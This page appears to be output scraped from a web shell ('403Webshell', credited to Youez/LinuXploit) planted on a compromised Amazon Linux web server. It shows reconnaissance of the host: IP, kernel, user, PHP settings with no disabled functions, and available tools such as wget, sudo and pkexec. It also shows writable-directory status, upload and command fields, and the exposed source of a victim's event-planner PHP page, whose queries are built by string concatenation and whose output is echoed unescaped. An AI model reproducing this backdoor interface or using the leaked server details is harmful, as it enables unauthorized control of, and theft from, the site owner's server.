403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.101
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/wwwdevplanner/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/wwwdevplanner/mod/tables.php
<?php include('_mod_security.php'); ?>
<?php
	//$sql = "SELECT t.*, COUNT(gt.id) AS nbr_assigned FROM tables t LEFT OUTER JOIN guests_tables gt ON (t.id = gt.table_id AND t.user_id = gt.user_id AND t.event_id = gt.event_id) WHERE t.user_id = ".$_SESSION['user_id']."  AND t.event_id = ".$_SESSION['active_event']." ";
	$sql = "SELECT t.*, COUNT(g.id) AS nbr_assigned FROM tables t LEFT OUTER JOIN guests g ON (((t.id = g.table_av AND g.rsvp_av = 1) OR (t.id = g.table_kv AND g.rsvp_kv = 1) OR (t.id = g.table_bv AND g.rsvp_bv = 1) OR (t.id = g.table_dv AND g.rsvp_dv = 1)) AND t.user_id = g.user_id AND t.event_id = g.event_id) WHERE t.user_id = ".$_SESSION['user_id']."  AND t.event_id = ".$_SESSION['active_event']." ";
	$search_parm = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['strSearch']));
	if ($search_parm != '') :
		$sql = $sql." AND ".search_sql($_POST['strSearch'],'t.table_desc,t.venue,t.table_no')." ";
	endif;
	$sql = $sql." GROUP BY t.id, t.user_id, t.event_id, t.venue, t.table_no, t.table_desc, t.capacity, t.comment "." ORDER BY t.venue ASC, t.table_no ASC";
	$result = mysqli_query($GLOBALS['con'], $sql);
	//echo " ===== ".$sql." ==== ";
	$xls_sql = "SELECT t.venue AS event, t.table_no, t.table_desc, t.capacity, t.comment, COUNT(g.id) AS nbr_assigned FROM tables t LEFT OUTER JOIN guests g ON (((t.id = g.table_av AND g.rsvp_av = 1) OR (t.id = g.table_kv AND g.rsvp_kv = 1) OR (t.id = g.table_bv AND g.rsvp_bv = 1) OR (t.id = g.table_dv AND g.rsvp_dv = 1)) AND t.user_id = g.user_id AND t.event_id = g.event_id) WHERE t.user_id = ".$_SESSION['user_id']."  AND t.event_id = ".$_SESSION['active_event']." "." GROUP BY t.id, t.user_id, t.event_id, t.venue, t.table_no, t.table_desc, t.capacity, t.comment "." ORDER BY t.venue ASC, t.table_no ASC";
	$ix_list = "tables";
	$ix_form = "table_form";
?>
<script>
	// ****** Prepare popup form settings *****
	var win_page = 'page_form.php';
	var win_width = 600;
	var win_height = 400;
	var print_section = 'div_db_grid';
</script>

<h1>Tables</h1>
<?php get_notes(); ?>
<?php get_help_guide('help_tables'); ?>
<?php include('mod/_db_navigator_bar.php'); ?>

<div class="db-grid" id="div_db_grid">

<table id="db_grid_main" class="dbgrid" align="center" cellpadding="0" cellspacing="2" border="0" >
	<thead>
		<tr>
			<td width="125" align="center" class="data-grid-label">
				Event
			</td>
			<td width="75" align="center" class="data-grid-label">
				Table No
			</td>
			<td width="225" align="center" class="data-grid-label">
				Description
			</td>
			<td width="75" align="center" class="data-grid-label">
				Capacity
			</td>
			<td width="75" align="center" class="data-grid-label">
				Assigned
			</td>
			<td width="75" align="center" class="data-grid-label">
				Delete
			</td>
		</tr>
	</thead>
	<tbody>
		<?php
			while($row = mysqli_fetch_object($result))
			{
		?>
				<tr>
					<td class="data-grid-var" >
						<a href="index.php?IX=<?php echo $ix_form; ?>&id=<?php echo $row->id; ?>" >
							<?php echo venue_decode($row->venue); ?>
						</a>
					</td>
					<td class="data-grid-var">
						<?php echo $row->table_no; ?>
					</td>
					<td class="data-grid-var">
						<?php echo $row->table_desc; ?>
					</td>
					<td class="data-grid-var">
						<?php echo $row->capacity; ?>
					</td>
					<td class="data-grid-var">
						<?php echo $row->nbr_assigned; ?>
					</td>
					<td class="data-grid-var" align="center" >
						<a href="javascript:confirmDelete('Are you sure?  Deleteing a table will remove that table assignment from guests.', 'table_delete&id=<?php echo $row->id; ?>');"><img src="img/delete_icon.gif" style="border:none;"  /></a>
					</td>
				</tr>
		<?php
			}
		?>
	</tbody>
</table>

</div>


Youez - 2016 - github.com/yon3zu
LinuXploit